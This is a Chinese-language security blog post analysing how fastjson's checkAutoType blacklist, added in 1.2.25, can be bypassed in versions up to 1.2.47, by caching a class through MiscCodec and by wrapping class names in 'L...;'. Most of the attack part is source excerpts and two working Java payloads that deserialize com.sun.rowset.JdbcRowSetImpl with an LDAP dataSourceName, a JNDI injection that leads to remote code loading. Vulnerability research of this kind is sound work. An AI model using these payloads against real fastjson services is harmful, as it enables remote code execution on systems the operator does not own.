fastjson-小于1.2.47绕过

server/2024/9/23 7:28:36/

参考视频:fastjson反序列化漏洞3-<=1.2.47绕过_哔哩哔哩_bilibili

分析版本

fastjson1.2.24

JDK 8u141

分析流程

分析fastjson1.2.25更新的源码,用JsonBcel链跟进

先看修改的地方

fastjson1.2.24

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {String typeName = lexer.scanSymbol(symbolTable, '"');Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

fastjson1.2.25

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {String typeName = lexer.scanSymbol(symbolTable, '"');Class<?> clazz = config.checkAutoType(typeName, null);

可以看到loadClass的方法,被替换了,主要的安全逻辑就在替换的方法里,跟进看替换的方法Class<?> clazz = config.checkAutoType(typeName, null);

里面是很多if语句,黑白名单判断(分析写在注释)

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {if (typeName == null) {return null;}final String className = typeName.replace('$', '.'); //替换下内部类符号if (autoTypeSupport || expectClass != null) {    //autoTypeSupport默认false,expectClass默认null,这个判断默认为falsefor (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i];     //白名单默认为空if (className.startsWith(accept)) {return TypeUtils.loadClass(typeName, defaultClassLoader);}}for (int i = 0; i < denyList.length; ++i) {String deny = denyList[i];    //黑名单,可以自己debug看看if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}}Class<?> clazz = TypeUtils.getClassFromMapping(typeName);//先在缓存中查找if (clazz == null) {clazz = deserializers.findClass(typeName);//缓存没有在已有的反序列化器中查找}if (clazz != null) { //找到类进入次判断if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { //做个判断throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;}if (!autoTypeSupport) {//autoTypeSupport为truefor (int i = 0; i < denyList.length; ++i) {String deny = denyList[i];if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}for (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i];if (className.startsWith(accept)) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader);if (expectClass != null && expectClass.isAssignableFrom(clazz)) {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;}}}if (autoTypeSupport || expectClass != null) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader);}if (clazz != null) {if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver) {throw new JSONException("autoType is not support. " + typeName);}if (expectClass != null) {if (expectClass.isAssignableFrom(clazz)) {return clazz;} else {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}}}if (!autoTypeSupport) {throw new JSONException("autoType is not support. " + typeName);}return clazz;
}

关于checkAutoType方法的流程图,我放在我的github上了Java反序列化学习 有帮助的话大家可以star一下

我在图中return的位置都拿绿色标记了,很明显我们要绕过检测必须控制流程走到return处。

攻击实现

autoTypeSupport参数为false

autoTypeSupport参数和白名单我们无法控制的条件下,我们发现只剩一个缓存加载的绕过方式了。下面看下能否利用。

发现缓存表mapping的put方式有两个位置,第一个位置很明显在初始化时被调用写入的缓存。

在这里插入图片描述

看第二个位置能否利用,是在loadClass里面,我们可以看到这个loadClass用法就是,在缓存中没找到的类加载时把这个类加进缓存中。

在这里插入图片描述

我们如果可以控制传参,并调用loadClass就可以把恶意类加入缓存中。之后继续找loadClass的调用

只有一处可能有利用点的地方,就是在MiscCodec下面,而MiscCodec继承了ObjectSerializer, ObjectDeserializer是个反序列化器。

if (clazz == Class.class) {return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

而MiscCodec的利用就是在加载默认的反序列化器时,Class的反序列化器也是它。

deserializers.put(Class.class, MiscCodec.instance);

所以绕过思路有了,我们先反序列化一个Class,它的值为恶意类,之后再反序列化恶意类。

写payload时,要注意传值,让程序执行到我们要调用的位置。

return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());这里strVal是我们要传的恶意类名,看下怎么赋值的。

//MiscCodec#deserialze
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {parser.resolveStatus = DefaultJSONParser.NONE;parser.accept(JSONToken.COMMA);if (lexer.token() == JSONToken.LITERAL_STRING) {if (!"val".equals(lexer.stringVal())) {           //注意这里不能抛出异常,如果抛出异常程序就走不到loadClass处了,所以我们传入的属性名应为valthrow new JSONException("syntax error");}lexer.nextToken();} else {throw new JSONException("syntax error");}parser.accept(JSONToken.COLON);objVal = parser.parse();parser.accept(JSONToken.RBRACE);
} else {objVal = parser.parse();
}

下面就能写出payload了

public class FastJsonBypass1 {public static void main(String[] args) throws Exception {String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:10389/cn=Exp,dc=example,dc=com\",\"autoCommit\":0}}";JSONObject jsonObject = JSON.parseObject(s);}
}

跟一下利用流程

先看Class的反序列化

//ParserConfig#checkAutoType
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);   //在缓存中找不到
if (clazz == null) {clazz = deserializers.findClass(typeName);              //可以找到反序列化器,也就是MiscCodec,返回Class
}if (clazz != null) {                                        //进入此循环if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { //期望类为空,不进入此循环throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;   //返回Class
}

之后return调用

//defaultJSONParser#parseObject
ObjectDeserializer deserializer = config.getDeserializer(clazz);  //调用返回MiscCodec反序列化器
return deserializer.deserialze(this, clazz, fieldName); //MiscCodec.deserialze

MiscCodec.deserialze把传入的String(也就是com.sun.rowset.JdbcRowSetImpl),反序列化为Class对象

lexer.stringVal()==val

在这里插入图片描述

再往下走到

if (clazz == Class.class) {return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());  //loadClass(com.sun.rowset.JdbcRowSetImpl),并存入缓存
}

之后回到

//defaultJSONParser#parseObject
return deserializer.deserialze(this, clazz, fieldName);  //MiscCodec.deserialze

之后进入下一轮循环,也就是反序列化com.sun.rowset.JdbcRowSetImpl

就不在这写了,下面流程在 fastjson-流程分析中写过了。

autoTypeSupport参数为true

如果autoTypeSupport开启的情况下,跟进流程图可以看到先过黑白名单之后才加载和返回类。

在上面分析时,我们也能注意到,在loadClass中有对传入类名的处理,对数组类进行处理,把L;,[,直接去掉后加载,这里绕过黑名单很容易。

public static Class<?> loadClass(String className, ClassLoader classLoader) {if (className == null || className.length() == 0) {return null;}Class<?> clazz = mappings.get(className);if (clazz != null) {return clazz;}if (className.charAt(0) == '[') {Class<?> componentType = loadClass(className.substring(1), classLoader);return Array.newInstance(componentType, 0).getClass();}if (className.startsWith("L") && className.endsWith(";")) {String newClassName = className.substring(1, className.length() - 1);return loadClass(newClassName, classLoader);}

payload

public class FastJsonBypass1 {public static void main(String[] args) throws Exception {ParserConfig.getGlobalInstance().setAutoTypeSupport(true);   //开启autoTypeSupport参数String s = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:10389/cn=Exp,dc=example,dc=com\",\"autoCommit\":0}";JSONObject jsonObject = JSON.parseObject(s);}
}

http://www.ppmy.cn/server/96170.html

相关文章

网络安全之sql靶场(11-23)

sql靶场&#xff08;11-23&#xff09; 目录 第十一关&#xff08;post注入&#xff09; 第十二关 第十三关 第十四关 第十五关 第十六关 第十七关 第十八关 第十九关 第二十关 第二十一关 第二十二关 第二十三关 第十一关&#xff08;post注入&#xff09; 查看…

flink 1.17 测试

1、下面配置配置错误的话会导致flink任务无法连接resourcemanger job会提交失败&#xff0c;报错内容&#xff1a; flink on yarn Connecting to ResourceManager at /0.0.0.0:8030 解决方案&#xff1a; <property> <name>yarn.application.classpath&…

搭建PXE实现服务器自动部署

PXE&#xff08;Preboot Execution Environment&#xff09;是一种计算机启动技术&#xff0c;它允许计算机从网络上的服务器而不是从本地硬盘或光盘等存储介质上启动。这种技术主要应用在无盘工作站、网络安装操作系统、远程维护等方面。 环境&#xff1a;一台rhel7.9作为PXE…

简单的docker学习 第8章 docker常用服务安装

第8章 常用服务安装 本章主要学习最常用的&#xff0c;也是安装起来稍有些麻烦的 MySQL 与 Redis 两种服务器的Docker 安装。至于其它服务器的 Docker 安装&#xff0c;大家可自行查找资料。只要 MySQL 与 Redis这两类服务器学会了安装&#xff0c;其它服务器的安装基本也不会…

datawind可视化查询-计数count(xxx)函数

飞书官方文档:https://www.volcengine.com/docs/4726/47275 我用到的场景:统计某个埋点的数量 格式:count(xxx),即对 xxx 计数 示例: 字段A 1 1 3 4 计算count(字段A),得到聚合结果 4。 若想去重计数,可使用count(distinct 字段A),则得到结果 3。 功能详解 函数名…

pxe+kickstart自动化安装

目录 一&#xff1a;实验环境 一台红帽7主机 开启主机图形 init 5 开图形 配置网络可用 关闭vmware dhcp功能 安装httpd服务 1、安装可视化图形&#xff1a; 2、关闭vmware dhcp功能&#xff1a; 3、安装httpd服务 安装httpd 开启httpd 二&#xff1a;实验过程 …

从零开始写一个微信小程序

从零开始写一个微信小程序可以分为几个步骤。以下是一个详细的指南,帮助你从头到尾完成一个简单的微信小程序。 ### 一、准备工作 1. **注册微信小程序账号**: - 前往[微信公众平台](https://mp.weixin.qq.com/)注册一个小程序账号。 - 进行企业认证(个人账号需要申…

【YOLOv5/v7改进系列】引入卷积块注意力模块CBAM注意力机制

一、导言 CBAM&#xff08;Convolutional Block Attention Module&#xff09;是一种简单而有效的注意力机制模块&#xff0c;旨在增强卷积神经网络&#xff08;CNN&#xff09;的表现力。该模块通过引入两个独立的注意力机制——通道注意力和空间注意力——来适应性地精炼特征…